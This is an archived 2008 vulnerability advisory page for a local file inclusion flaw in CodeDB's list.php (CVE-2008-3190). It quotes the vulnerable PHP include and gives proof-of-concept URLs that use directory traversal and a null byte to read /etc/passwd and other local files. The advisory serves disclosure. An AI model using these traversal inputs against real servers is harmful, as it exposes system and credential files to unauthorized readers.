SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

CodeDB (list.php lang) Local File Inclusion Vulnerability


Arrow  SecurityAlert : 4001
Arrow  CVE : CVE-2008-3190
Arrow  CWE : Not in CWE
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   4333
Arrow  Credit : cOndemned
Arrow  Published : 17.07.2008

Arrow  Affected Software : CodeDB



Arrow  Advisory Content :  

###########################################################################
####
#
# Name : CodeDB (list.php lang) Local File Inclusion Vulnerability
# Author : cOndemned
# Greetz : ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura
;*
#
###########################################################################
####

Source :

// list.php

2. $lang = htmlspecialchars($_GET['lang']); // ok, but....
for what ? lol

7. if(file_exists('templates/'.$lang.'_middle.php')) // We'll have
to cut off rest of filename & extension
8. include('templates/'.$lang.'_middle.php'); // Ekhm... pwned
;d


Proof of Concept :

http://[host]/[codeDB_path]/list.php?lang=../readme.txt%00
http://[host]/[codeDB_path]/list.php?lang=../../../../etc/passwd%00
http://[host]/[codeDB_path]/list.php?lang=../[local_file]%00


EoF.



Arrow  References :

http://securityreason.com/expldownload/1/4333/1 (Exploit)
http://xforce.iss.net/xforce/xfdb/43761
http://www.securityfocus.com/bid/30227
http://www.milw0rm.com/exploits/6071
http://www.frsirt.com/english/advisories/2008/2105/references
http://secunia.com/advisories/31053




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.